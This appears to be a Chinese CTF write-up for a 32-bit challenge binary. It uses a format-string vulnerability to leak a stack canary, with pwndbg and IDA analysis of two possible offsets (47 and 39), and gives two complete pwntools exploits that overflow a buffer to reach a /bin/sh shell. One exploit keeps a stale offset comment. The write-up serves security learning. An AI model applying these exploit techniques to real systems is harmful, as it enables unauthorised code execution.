for
这一题发现两个答案,canary偏移是47或39都可以。可能的原因是因为一个程序可以有很多个canary,canary是main函数的,所以是47,如果用choice2这个函数的canary就是39。
先看第一种情况偏移为47。
发现在函数choice2()中第九行printf(&s);表明存在格式化字符串漏洞。
- 用pwndbg确定printf地址,标记断点。
b printf
然后
run
输入
2 # 进入choice2()函数
1234 # printf的参数,随便输入
pwndbg输出
─────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────
00:0000│ esp 0xffffca9c —▸ 0x804874d (choice2+97) ◂— add esp, 0x10
01:0004│ 0xffffcaa0 —▸ 0xffffcabc ◂— '1234'
... ↓
03:000c│ 0xffffcaa8 ◂— 0x80
04:0010│ 0xffffcaac —▸ 0x80486fb (choice2+15) ◂— add ebx, 0x1905
05:0014│ 0xffffcab0 —▸ 0xf7fe2a70 (_dl_lookup_symbol_x+16) ◂— add edi, 0x1a590
06:0018│ 0xffffcab4 —▸ 0x80482ac ◂— pop ds
07:001c│ 0xffffcab8 ◂— 0x1
───────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────
01:0004│ 0xffffcaa0 —▸ 0xffffcabc ◂— ‘1234’ 这一行表明printf函数地址在0xffffcaa0
- 标记汇编代码里canary值生成的地址
删除第一个断点,即printf函数的断点。
d 1
在main函数里找到canary值生成的地方,找到标志性的汇编代码。
.text:080487B2 mov eax, large gs:14h
.text:080487B8 mov [ebp+var_C], eax
.text:080487BB xor eax, eax
因此断点地址0x080487BB,在pwndbg标记断点。
b *0x080487BB
然后
run
pwndbg输出
─────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────
00:0000│ esp 0xffffcb50 ◂— 0x1
01:0004│ 0xffffcb54 —▸ 0xffffcc14 —▸ 0xffffce3a ◂— 0x6d6f682f ('/hom')
02:0008│ 0xffffcb58 —▸ 0xffffcc1c —▸ 0xffffce62 ◂— 'XDG_VTNR=7'
03:000c│ 0xffffcb5c ◂— 0xc767400
04:0010│ 0xffffcb60 —▸ 0xffffcb80 ◂— 0x1
05:0014│ 0xffffcb64 ◂— 0x0
... ↓
07:001c│ 0xffffcb6c —▸ 0xf7e18647 (__libc_start_main+247) ◂— add esp, 0x10
───────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────
回到IDA,我们知道canary在栈中的地址是0x0C
-00000014 db ? ; undefined
-00000013 db ? ; undefined
-00000012 db ? ; undefined
-00000011 db ? ; undefined
-00000010 db ? ; undefined
-0000000F db ? ; undefined
-0000000E db ? ; undefined
-0000000D db ? ; undefined
-0000000C var_C dd ?
-00000008 db ? ; undefined
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined
-00000004 var_4 dd ?
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables
所以pwndbg输出栈中地址为0x0C的值0xc767400就是canary的值。
然后在pwndbg中输入
x/80wx 0xffffcaa0
pwndbg输出
pwndbg> x/80wx 0xffffcaa0
0xffffcaa0: 0xf7fe1fc9 0x00000000 0xf7ffdad0 0xffffcb28
0xffffcab0: 0xffffcb70 0xf7fe2b4b 0x0804825c 0xffffcb28
0xffffcac0: 0xf7ffda74 0x00000001 0xf7fd34a0 0x00000001
0xffffcad0: 0x00000000 0x00000001 0xf7ffd918 0x00f0b5ff
0xffffcae0: 0xffffcb1e 0x00000001 0x000000c2 0xf7e9079b
0xffffcaf0: 0xffffcb1e 0xffffcc1c 0x000000e0 0x00000000
0xffffcb00: 0xf7ffd000 0xf7ffd918 0xffffcb20 0x08048336
0xffffcb10: 0x00000000 0xffffcbb4 0xf7fb3000 0x00007017
0xffffcb20: 0xffffffff 0x0000002f 0xf7e0cdc8 0xf7fd31b0
0xffffcb30: 0x00008000 0xf7fb3000 0xf7fb1244 0xf7e180fc
0xffffcb40: 0x00000001 0x00000000 0xffffcc1c 0x080487ac
0xffffcb50: 0x00000001 0xffffcc14 0xffffcc1c 0x0c767400
0xffffcb60: 0xffffcb80 0x00000000 0x00000000 0xf7e18647
0xffffcb70: 0xf7fb3000 0xf7fb3000 0x00000000 0xf7e18647
0xffffcb80: 0x00000001 0xffffcc14 0xffffcc1c 0x00000000
0xffffcb90: 0x00000000 0x00000000 0xf7fb3000 0xf7ffdc04
0xffffcba0: 0xf7ffd000 0x00000000 0xf7fb3000 0xf7fb3000
0xffffcbb0: 0x00000000 0xc61d81b7 0xfa868fa7 0x00000000
0xffffcbc0: 0x00000000 0x00000000 0x00000001 0x08048550
0xffffcbd0: 0x00000000 0xf7fee010 0xf7fe8880 0x0804a000
数一数即可得到0x0c767400(即canary)的偏移是47。
完整的exp
from pwn import *
p = process('Asuri/for')
context.log_level = 'debug'
p.sendlineafter("exit","2") # 进入chioce2函数
leak_canary = "%47$x" # 偏移为47
p.sendline(leak_canary)
p.recvuntil('\n\n')
canary = int(p.recv(8), 16)
print(hex(canary))
p.sendlineafter("exit","1")
getshell = b'a' * (0x8c - 0x0c) + p32(canary) + b'b' * 12 + p32(0x0804876B) # 0x0804876B为bin/sh地址
p.sendline(getshell)
p.interactive()
参考链接:
https://blog.csdn.net/YangZiTrick/article/details/108911375
再来看第二种情况canary的偏移是39
- 先在虚拟机里运行
./for
输入
2
aaaa-%p-%p-%p-%p-%p-%p-%p-%p
控制台输出
aaaa-0xffe54bdc-0x80-0x80486fb-0xf7eebd60-0x8048940-0xf7eebd60-0x61616161-0x2d70252d
可以看到格式化字符串的偏移为7,也就是0x61616161即aaaa的偏移是7。
回到IDA里,查看choice2()函数
int choice2()
{
char s; // [esp+Ch] [ebp-8Ch]
unsigned int v2; // [esp+8Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
memset(&s, 0, 0x80u);
__isoc99_scanf("%128s", &s);
printf(&s);
return 0;
}
v2就是存放canary值的变量。s字符到栈底的偏移与v2到栈底的偏移相差0x80比特(就是s与v2的距离),8*16/4=32字节,所以canary在字符串实际参数后39个(32+7=39个)。
完整的exp:
from pwn import *
p = process('Asuri/for')
context.log_level = 'debug'
p.sendlineafter("exit","2") # 进入chioce2函数
leak_canary = "%39$x" # 偏移为47
p.sendline(leak_canary)
p.recvuntil('\n\n')
canary = int(p.recv(8), 16)
print(hex(canary))
p.sendlineafter("exit","1")
getshell = b'a' * (0x8c - 0x0c) + p32(canary) + b'b' * 12 + p32(0x0804876B) # 0x0804876B为bin/sh地址
p.sendline(getshell)
p.interactive()
参考链接: